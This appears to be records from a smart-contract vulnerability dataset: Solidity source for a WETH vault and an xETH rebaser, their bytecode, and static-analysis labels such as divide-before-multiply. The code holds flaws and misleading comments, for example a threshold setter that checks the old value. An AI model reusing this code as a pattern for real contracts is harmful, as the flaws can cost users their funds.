controller = _controller; } function setTotalDepositCap(uint256 _totalDepositCap) public { require(msg.sender == governance, "!governance"); totalDepositCap = _totalDepositCap; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint) { return IERC20(weth).balanceOf(address(this)).mul(min).div(max); } function earn() public { require( msg.sender == governance,"!governance"); uint _bal = available(); IERC20(weth).safeTransfer(controller, _bal); Controller(controller).earn(weth, _bal); } function depositETH() public payable onlyRestrictContractCall{ uint _pool = balance(); uint _before = IERC20(weth).balanceOf(address(this)); uint _amount = msg.value; WETH(address(weth)).deposit.value(_amount)(); uint _after = IERC20(weth).balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens require(_amount <= totalDepositCap, ">totalDepositCap"); uint shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); userDepoistTime[msg.sender] = now; } function withdrawAllETH() external { withdrawETH(balanceOf(msg.sender)); } function withdrawETH(uint _shares) public onlyRestrictContractCall{ require(_shares > 0, "Cannot withdraw 0"); require((now - userDepoistTime[msg.sender])>depositWithdrawInterval,"Deposit and withdraw must be 60 seconds apart!"); uint r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint b = IERC20(weth).balanceOf(address(this)); if (b < r) { uint _withdraw = r.sub(b); Controller(controller).withdraw(weth, _withdraw); uint _after = IERC20(weth).balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } uint feeRatio = getFeeRatio(); if(feeRatio>0){ uint fee = r.mul(feeRatio).div(feeMax); r = r.sub(fee); IERC20(weth).safeTransfer(feeAddress,fee); } WETH(address(weth)).withdraw(r); address(msg.sender).transfer(r); } function getFeeRatio() internal view returns(uint) { uint256 t = now - userDepoistTime[msg.sender]; if(t > 604800) {//7*24*60*60 return fee3; } if(t>86400) {//24*60*60 return fee2; } return fee1; } function getPricePerFullShare() public view returns (uint) { if (totalSupply()==0) { return 0; } return balance().mul(1e18).div(totalSupply()); } function setFeeRatio(uint[3] memory fees) public { require(msg.sender == timelock, "!timelock"); require(fees[0]<feeMax&&fees[1]<feeMax&&fees[2]<feeMax,"The fee is too high"); fee1 = fees[0]; fee2 = fees[1]; fee3 = fees[2]; } function setFeeAddress(address fadd) public { require(msg.sender == timelock, "!timelock"); feeAddress = fadd; } function setTimeLock(address _timelock) public { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function approveContractAccess(address account) external { require(msg.sender == governance, "!governance"); approved[account] = true; } function revokeContractAccess(address account) external { require(msg.sender == governance, "!governance"); approved[account] = false; } }
0x6080604052600436106102465760003560e01c80638705fcd411610139578063d33219b4116100b6578063ebbf5c171161007a578063ebbf5c1714610844578063f14210a61461086e578063f6326fb314610898578063f77c4791146108a0578063f8897945146108b5578063ffbe9f1e146108ca57610246565b8063d33219b414610797578063d389800f146107ac578063d8b964e6146107c1578063dd62ed3e146107f4578063dd8d83261461082f57610246565b8063a457c2d7116100fd578063a457c2d7146106c8578063a9059cbb14610701578063ab033ea91461073a578063b69ef8a81461076d578063c60982561461078257610246565b80638705fcd414610605578063891682d21461063857806390386bbf1461066b57806392eefe9b1461068057806395d89b41146106b357610246565b80634639e19a116101c75780636c3618651161018b5780636c3618651461054257806370a082311461057557806377c7b8fc146105a85780637c61e865146105bd57806385d30fc8146105f057610246565b80634639e19a1461048f57806348a0d754146104ee5780635aa6e675146105035780635db88e85146105185780636ac5db191461052d57610246565b8063395093511161020e57806339509351146103d157806339f73a481461040a5780633fc8cef31461041f578063412753581461045057806345dc3dd81461046557610246565b806306fdde0314610265578063095ea7b3146102ef57806318160ddd1461033c57806323b872dd14610363578063313ce567146103a6575b336000805160206123b883398151915214610263576102636108df565b005b34801561027157600080fd5b5061027a610b77565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102b457818101518382015260200161029c565b50505050905090810190601f1680156102e15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102fb57600080fd5b506103286004803603604081101561031257600080fd5b506001600160a01b038135169060200135610c0e565b604080519115158252519081900360200190f35b34801561034857600080fd5b50610351610c2c565b60408051918252519081900360200190f35b34801561036f57600080fd5b506103286004803603606081101561038657600080fd5b506001600160a01b03813581169160208101359091169060400135610c32565b3480156103b257600080fd5b506103bb610cbf565b6040805160ff9092168252519081900360200190f35b3480156103dd57600080fd5b50610328600480360360408110156103f457600080fd5b506001600160a01b038135169060200135610cc8565b34801561041657600080fd5b50610351610d1c565b34801561042b57600080fd5b50610434610d22565b604080516001600160a01b039092168252519081900360200190f35b34801561045c57600080fd5b50610434610d34565b34801561047157600080fd5b506102636004803603602081101561048857600080fd5b5035610d43565b34801561049b57600080fd5b50610263600480360360608110156104b257600080fd5b8101908080606001906003806020026040519081016040528092919082600360200280828437600092019190915250919450610d959350505050565b3480156104fa57600080fd5b50610351610e65565b34801561050f57600080fd5b50610434610f14565b34801561052457600080fd5b50610351610f23565b34801561053957600080fd5b50610351610f29565b34801561054e57600080fd5b506102636004803603602081101561056557600080fd5b50356001600160a01b0316610f2f565b34801561058157600080fd5b506103516004803603602081101561059857600080fd5b50356001600160a01b0316610fa0565b3480156105b457600080fd5b50610351610fbb565b3480156105c957600080fd5b50610263600480360360208110156105e057600080fd5b50356001600160a01b0316610ffc565b3480156105fc57600080fd5b5061035161106a565b34801561061157600080fd5b506102636004803603602081101561062857600080fd5b50356001600160a01b0316611070565b34801561064457600080fd5b506102636004803603602081101561065b57600080fd5b50356001600160a01b03166110dd565b34801561067757600080fd5b5061026361114a565b34801561068c57600080fd5b50610263600480360360208110156106a357600080fd5b50356001600160a01b031661115d565b3480156106bf57600080fd5b5061027a6111ca565b3480156106d457600080fd5b50610328600480360360408110156106eb57600080fd5b506001600160a01b03813516906020013561122b565b34801561070d57600080fd5b506103286004803603604081101561072457600080fd5b506001600160a01b038135169060200135611299565b34801561074657600080fd5b506102636004803603602081101561075d57600080fd5b50356001600160a01b03166112ad565b34801561077957600080fd5b5061035161131c565b34801561078e57600080fd5b5061035161142b565b3480156107a357600080fd5b50610434611431565b3480156107b857600080fd5b50610263611440565b3480156107cd57600080fd5b50610328600480360360208110156107e457600080fd5b50356001600160a01b0316611542565b34801561080057600080fd5b506103516004803603604081101561081757600080fd5b506001600160a01b0381358116916020013516611557565b34801561083b57600080fd5b50610351611582565b34801561085057600080fd5b506102636004803603602081101561086757600080fd5b5035611588565b34801561087a57600080fd5b506102636004803603602081101561089157600080fd5b50356115da565b6102636108df565b3480156108ac57600080fd5b506104346119da565b3480156108c157600080fd5b506103516119e9565b3480156108d657600080fd5b506103516119ef565b3360008181526009602052604090205460ff16806108fc57503332145b61094d576040805162461bcd60e51b815260206004820152601f60248201527f536f72727920776520646f206e6f742061636365707420636f6e747261637400604482015290519081900360640190fd5b600061095761131c565b604080516370a0823160e01b815230600482015290519192506000916000805160206123b8833981519152916370a08231916024808301926020929190829003018186803b1580156109a857600080fd5b505afa1580156109bc573d6000803e3d6000fd5b505050506040513d60208110156109d257600080fd5b505160408051630d0e30db60e41b8152905191925034916000805160206123b88339815191529163d0e30db091849160048082019260009290919082900301818588803b158015610a2257600080fd5b505af1158015610a36573d6000803e3d6000fd5b5050604080516370a0823160e01b81523060048201529051600094506000805160206123b883398151915293506370a0823192506024808301926020929190829003018186803b158015610a8957600080fd5b505afa158015610a9d573d6000803e3d6000fd5b505050506040513d6020811015610ab357600080fd5b50519050610ac7818463ffffffff6119f516565b9150601054821115610b13576040805162461bcd60e51b815260206004820152601060248201526f03e746f74616c4465706f7369744361760841b604482015290519081900360640190fd5b6000610b1d610c2c565b610b28575081610b53565b610b5085610b44610b37610c2c565b869063ffffffff611a3e16565b9063ffffffff611a9716565b90505b610b5d3382611ad9565b5050336000908152600a6020526040902042905550505050565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c035780601f10610bd857610100808354040283529160200191610c03565b820191906000526020600020905b815481529060010190602001808311610be657829003601f168201915b505050505090505b90565b6000610c22610c1b611bd3565b8484611bd7565b5060015b92915050565b60035490565b6000610c3f848484611cc3565b610cb584610c4b611bd3565b610cb085604051806060016040528060288152602001612441602891396001600160a01b038a16600090815260026020526040812090610c89611bd3565b6001600160a01b03168152602081019190915260400160002054919063ffffffff611e8b16565b611bd7565b5060019392505050565b60065460ff1690565b6000610c22610cd5611bd3565b84610cb08560026000610ce6611bd3565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff611f2216565b600d5481565b6000805160206123b883398151915281565b600b546001600160a01b031681565b6011546001600160a01b03163314610d90576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600755565b6013546001600160a01b03163314610de0576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600f548151108015610df75750600f546020820151105b8015610e085750600f546040820151105b610e4f576040805162461bcd60e51b81526020600482015260136024820152720a8d0ca40cccaca40d2e640e8dede40d0d2ced606b1b604482015290519081900360640190fd5b8051600c556020810151600d5560400151600e55565b6000610f0f612710610b446007546000805160206123b88339815191526001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610ed757600080fd5b505afa158015610eeb573d6000803e3d6000fd5b505050506040513d6020811015610f0157600080fd5b50519063ffffffff611a3e16565b905090565b6011546001600160a01b031681565b60105481565b61271081565b6011546001600160a01b03163314610f7c576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6001600160a01b031660009081526020819052604090205490565b6000610fc5610c2c565b610fd157506000610c0b565b610f0f610fdc610c2c565b610b44670de0b6b3a7640000610ff061131c565b9063ffffffff611a3e16565b6011546001600160a01b03163314611049576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b600e5481565b6013546001600160a01b031633146110bb576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6013546001600160a01b03163314611128576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b61115b61115633610fa0565b6115da565b565b6013546001600160a01b031633146111a8576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b601280546001600160a01b0319166001600160a01b0392909216919091179055565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c035780601f10610bd857610100808354040283529160200191610c03565b6000610c22611238611bd3565b84610cb08560405180606001604052806025815260200161252b6025913960026000611262611bd3565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff611e8b16565b6000610c226112a6611bd3565b8484611cc3565b6011546001600160a01b031633146112fa576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b601254604080516370a0823160e01b81526000805160206123b883398151915260048201529051600092610f0f926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561137c57600080fd5b505afa158015611390573d6000803e3d6000fd5b505050506040513d60208110156113a657600080fd5b5051604080516370a0823160e01b815230600482015290516000805160206123b8833981519152916370a08231916024808301926020929190829003018186803b1580156113f357600080fd5b505afa158015611407573d6000803e3d6000fd5b505050506040513d602081101561141d57600080fd5b50519063ffffffff611f2216565b600c5481565b6013546001600160a01b031681565b6011546001600160a01b0316331461148d576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6000611497610e65565b6012549091506114c6906000805160206123b8833981519152906001600160a01b03168363ffffffff611f7c16565b6012546040805163b02bf4b960e01b81526000805160206123b883398151915260048201526024810184905290516001600160a01b039092169163b02bf4b99160448082019260009290919082900301818387803b15801561152757600080fd5b505af115801561153b573d6000803e3d6000fd5b5050505050565b60096020526000908152604090205460ff1681565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60085481565b6011546001600160a01b031633146115d5576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b601055565b3360008181526009602052604090205460ff16806115f757503332145b611648576040805162461bcd60e51b815260206004820152601f60248201527f536f72727920776520646f206e6f742061636365707420636f6e747261637400604482015290519081900360640190fd5b60008211611691576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b600854336000908152600a60205260409020544203116116e25760405162461bcd60e51b815260040180806020018281038252602e8152602001806124d3602e913960400191505060405180910390fd5b60006116fb6116ef610c2c565b610b4485610ff061131c565b90506117073384611fd3565b604080516370a0823160e01b815230600482015290516000916000805160206123b8833981519152916370a0823191602480820192602092909190829003018186803b15801561175657600080fd5b505afa15801561176a573d6000803e3d6000fd5b505050506040513d602081101561178057600080fd5b50519050818110156118ca57600061179e838363ffffffff6119f516565b6012546040805163f3fef3a360e01b81526000805160206123b883398151915260048201526024810184905290519293506001600160a01b039091169163f3fef3a39160448082019260009290919082900301818387803b15801561180257600080fd5b505af1158015611816573d6000803e3d6000fd5b5050604080516370a0823160e01b81523060048201529051600093506000805160206123b883398151915292506370a0823191602480820192602092909190829003018186803b15801561186957600080fd5b505afa15801561187d573d6000803e3d6000fd5b505050506040513d602081101561189357600080fd5b5051905060006118a9828563ffffffff6119f516565b9050828110156118c6576118c3848263ffffffff611f2216565b94505b5050505b60006118d46120cf565b9050801561193957600f546000906118f690610b44868563ffffffff611a3e16565b9050611908848263ffffffff6119f516565b600b54909450611937906000805160206123b8833981519152906001600160a01b03168363ffffffff611f7c16565b505b6000805160206123b88339815191526001600160a01b0316632e1a7d4d846040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561198d57600080fd5b505af11580156119a1573d6000803e3d6000fd5b505060405133925085156108fc02915085906000818181858888f193505050501580156119d2573d6000803e3d6000fd5b505050505050565b6012546001600160a01b031681565b60075481565b600f5481565b6000611a3783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e8b565b9392505050565b600082611a4d57506000610c26565b82820282848281611a5a57fe5b0414611a375760405162461bcd60e51b81526004018080602001828103825260218152602001806124206021913960400191505060405180910390fd5b6000611a3783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612113565b6001600160a01b038216611b34576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600354611b47908263ffffffff611f2216565b6003556001600160a01b038216600090815260208190526040902054611b73908263ffffffff611f2216565b6001600160a01b038316600081815260208181526040808320949094556001815283822043905583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b3390565b6001600160a01b038316611c1c5760405162461bcd60e51b81526004018080602001828103825260248152602001806124af6024913960400191505060405180910390fd5b6001600160a01b038216611c615760405162461bcd60e51b81526004018080602001828103825260228152602001806123d86022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611d085760405162461bcd60e51b815260040180806020018281038252602581526020018061248a6025913960400191505060405180910390fd5b6001600160a01b038216611d4d5760405162461bcd60e51b81526004018080602001828103825260238152602001806123736023913960400191505060405180910390fd5b6001600160a01b0383166000908152600160205260409020544311611db9576040805162461bcd60e51b815260206004820152601c60248201527f45524332303a2073656e646572206163636f756e74206c6f636b656400000000604482015290519081900360640190fd5b611dfc816040518060600160405280602681526020016123fa602691396001600160a01b038616600090815260208190526040902054919063ffffffff611e8b16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611e31908263ffffffff611f2216565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115611f1a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611edf578181015183820152602001611ec7565b50505050905090810190601f168015611f0c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015611a37576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611fce908490612178565b505050565b6001600160a01b0382166120185760405162461bcd60e51b81526004018080602001828103825260218152602001806124696021913960400191505060405180910390fd5b61205b81604051806060016040528060228152602001612396602291396001600160a01b038516600090815260208190526040902054919063ffffffff611e8b16565b6001600160a01b038316600090815260208190526040902055600354612087908263ffffffff6119f516565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b336000908152600a6020526040812054420362093a808111156120f6575050600e54610c0b565b6201518081111561210b575050600d54610c0b565b5050600c5490565b600081836121625760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611edf578181015183820152602001611ec7565b50600083858161216e57fe5b0495945050505050565b61218a826001600160a01b0316612336565b6121db576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106122195780518252601f1990920191602091820191016121fa565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461227b576040519150601f19603f3d011682016040523d82523d6000602084013e612280565b606091505b5091509150816122d7576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115612330578080602001905160208110156122f357600080fd5b50516123305760405162461bcd60e51b815260040180806020018281038252602a815260200180612501602a913960400191505060405180910390fd5b50505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061236a5750808214155b94935050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e6365000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc245524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734465706f73697420616e64207769746864726177206d757374206265203630207365636f6e6473206170617274215361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a7231582008cdd16e164e9a819e0c01974388762615928112f73b22535d8e8ea9ab65f94564736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
1,096
0x678706486709391B5c888d0b81d0406B74416c96
pragma solidity 0.6.6; interface UniswapPairContract { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } interface xETHTokenInterface { //Public functions function maxScalingFactor() external view returns (uint256); function xETHScalingFactor() external view returns (uint256); //rebase permissioned function setTxFee(uint16 fee) external ; function setSellFee(uint16 fee) external ; function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256); } contract xETHRebaser { using SafeMath for uint256; modifier onlyGov() { require(msg.sender == gov); _; } /// @notice an event emitted when deviationThreshold is changed event NewDeviationThreshold(uint256 oldDeviationThreshold, uint256 newDeviationThreshold); /// @notice Governance address address public gov; /// @notice Spreads out getting to the target price uint256 public rebaseLag; /// @notice Peg target uint256 public targetRate; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. uint256 public deviationThreshold; /// @notice More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; /// @notice Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; /// @notice The rebase window begins this many seconds into the minRebaseTimeInterval period. // For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds. uint256 public rebaseWindowOffsetSec; /// @notice The length of the time window where a rebase operation is allowed to execute, in seconds. uint256 public rebaseWindowLengthSec; /// @notice The number of rebase cycles since inception uint256 public epoch; // rebasing is not active initially. It can be activated at T+12 hours from // deployment time ///@notice boolean showing rebase activation status bool public rebasingActive; /// @notice delays rebasing activation to facilitate liquidity uint256 public constant rebaseDelay = 0; address public xETHAddress; address public uniswap_xeth_eth_pair; mapping(address => bool) public whitelistFrom; constructor( address xETHAddress_, address xEthEthPair_ ) public { minRebaseTimeIntervalSec = 1 days; rebaseWindowOffsetSec = 0; // 00:00 UTC rebases // 0.01 ETH targetRate = 10**18; // daily rebase, with targeting reaching peg in 5 days rebaseLag = 10; // 5% deviationThreshold = 5 * 10**15; // 3 hours rebaseWindowLengthSec = 24 hours; uniswap_xeth_eth_pair = xEthEthPair_; xETHAddress = xETHAddress_; gov = msg.sender; } function setWhitelistedFrom(address _addr, bool _whitelisted) external onlyGov { whitelistFrom[_addr] = _whitelisted; } function _isWhitelisted(address _from) internal view returns (bool) { return whitelistFrom[_from]; } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is 1e18 */ function rebase() public { // EOA only require(msg.sender == tx.origin); require(_isWhitelisted(msg.sender)); // ensure rebasing at correct time _inRebaseWindow(); require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); // Snap the rebase time to the start of this window. lastRebaseTimestampSec = now; epoch = epoch.add(1); // get price from uniswap v2; uint256 exchangeRate = getPrice(); // calculates % change to supply (uint256 offPegPerc, bool positive) = computeOffPegPerc(exchangeRate); uint256 indexDelta = offPegPerc; // Apply the Dampening factor. indexDelta = indexDelta.div(rebaseLag); xETHTokenInterface xETH = xETHTokenInterface(xETHAddress); if (positive) { require(xETH.xETHScalingFactor().mul(uint256(10**18).add(indexDelta)).div(10**18) < xETH.maxScalingFactor(), "new scaling factor will be too big"); } // rebase xETH.rebase(epoch, indexDelta, positive); assert(xETH.xETHScalingFactor() <= xETH.maxScalingFactor()); } function getPrice() public view returns (uint256) { (uint xethReserve, uint ethReserve, ) = UniswapPairContract(uniswap_xeth_eth_pair).getReserves(); uint xEthPrice = ethReserve.mul(10**18).div(xethReserve); return xEthPrice; } function setDeviationThreshold(uint256 deviationThreshold_) external onlyGov { require(deviationThreshold > 0); uint256 oldDeviationThreshold = deviationThreshold; deviationThreshold = deviationThreshold_; emit NewDeviationThreshold(oldDeviationThreshold, deviationThreshold_); } /** * @notice Sets the rebase lag parameter. It is used to dampen the applied supply adjustment by 1 / rebaseLag If the rebase lag R, equals 1, the smallest value for R, then the full supply correction is applied on each rebase cycle. If it is greater than 1, then a correction of 1/R of is applied on each rebase. * @param rebaseLag_ The new rebase lag parameter. */ function setRebaseLag(uint256 rebaseLag_) external onlyGov { require(rebaseLag_ > 0); rebaseLag = rebaseLag_; } /** * @notice Sets the targetRate parameter. * @param targetRate_ The new target rate parameter. */ function setTargetRate(uint256 targetRate_) external onlyGov { require(targetRate_ > 0); targetRate = targetRate_; } /** * @notice Sets the parameters which control the timing and frequency of * rebase operations. * a) the minimum time period that must elapse between rebase cycles. * b) the rebase window offset parameter. * c) the rebase window length parameter. * @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase * operations, in seconds. * @param rebaseWindowOffsetSec_ The number of seconds from the beginning of the rebase interval, where the rebase window begins. * @param rebaseWindowLengthSec_ The length of the rebase window in seconds. */ function setRebaseTimingParameters( uint256 minRebaseTimeIntervalSec_, uint256 rebaseWindowOffsetSec_, uint256 rebaseWindowLengthSec_) external onlyGov { require(minRebaseTimeIntervalSec_ > 0); require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_); minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_; rebaseWindowOffsetSec = rebaseWindowOffsetSec_; rebaseWindowLengthSec = rebaseWindowLengthSec_; } /** * @return If the latest block timestamp is within the rebase time window it, returns true. * Otherwise, returns false. */ function inRebaseWindow() public view returns (bool) { // rebasing is delayed until there is a liquid market _inRebaseWindow(); return true; } function _inRebaseWindow() internal view { require(now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec, "too early"); require(now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec)), "too late"); } /** * @return Computes in % how far off market is from peg */ function computeOffPegPerc(uint256 rate) private view returns (uint256, bool) { if (withinDeviationThreshold(rate)) { return (0, false); } // indexDelta = (rate - targetRate) / targetRate if (rate > targetRate) { return (rate.sub(targetRate).mul(10**18).div(targetRate), true); } else { return (targetRate.sub(rate).mul(10**18).div(targetRate), false); } } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate) private view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** 18); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } function divRound(uint256 x, uint256 y) internal pure returns (uint256) { require(y != 0, "Div by zero"); uint256 r = x / y; if (x % y != 0) { r = r + 1; } return r; } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80637052b902116100b8578063af14052c1161007c578063af14052c14610409578063b181033a14610413578063cc8fd3931461045d578063cdabdaac1461047b578063d94ad837146104a9578063ff12bbf4146104c757610142565b80637052b902146103475780638835a65814610365578063900cf0cf146103af5780639466120f146103cd57806398d5fdca146103eb57610142565b80633a93069b1161010a5780633a93069b1461024157806343684b211461025f5780634dc95de1146102bb57806353a15edc146102dd57806363f6d4c81461030b5780636406ca5f1461032957610142565b80630210189914610147578063111d04981461016557806312d43a511461018757806316250fd4146101d157806320ce838914610213575b600080fd5b61014f610517565b6040518082815260200191505060405180910390f35b61016d61051d565b604051808215151515815260200191505060405180910390f35b61018f61052e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610211600480360360608110156101e757600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610553565b005b61023f6004803603602081101561022957600080fd5b81019080803590602001909291905050506105df565b005b61024961064f565b6040518082815260200191505060405180910390f35b6102a16004803603602081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610655565b604051808215151515815260200191505060405180910390f35b6102c3610675565b604051808215151515815260200191505060405180910390f35b610309600480360360208110156102f357600080fd5b8101908080359060200190929190505050610688565b005b610313610741565b6040518082815260200191505060405180910390f35b610331610747565b6040518082815260200191505060405180910390f35b61034f61074c565b6040518082815260200191505060405180910390f35b61036d610752565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103b7610778565b6040518082815260200191505060405180910390f35b6103d561077e565b6040518082815260200191505060405180910390f35b6103f3610784565b6040518082815260200191505060405180910390f35b61041161089f565b005b61041b610cf0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610465610d16565b6040518082815260200191505060405180910390f35b6104a76004803603602081101561049157600080fd5b8101908080359060200190929190505050610d1c565b005b6104b1610d8c565b6040518082815260200191505060405180910390f35b610515600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610d92565b005b60045481565b6000610527610e46565b6001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105ac57600080fd5b600083116105b957600080fd5b8282106105c557600080fd5b826004819055508160068190555080600781905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461063857600080fd5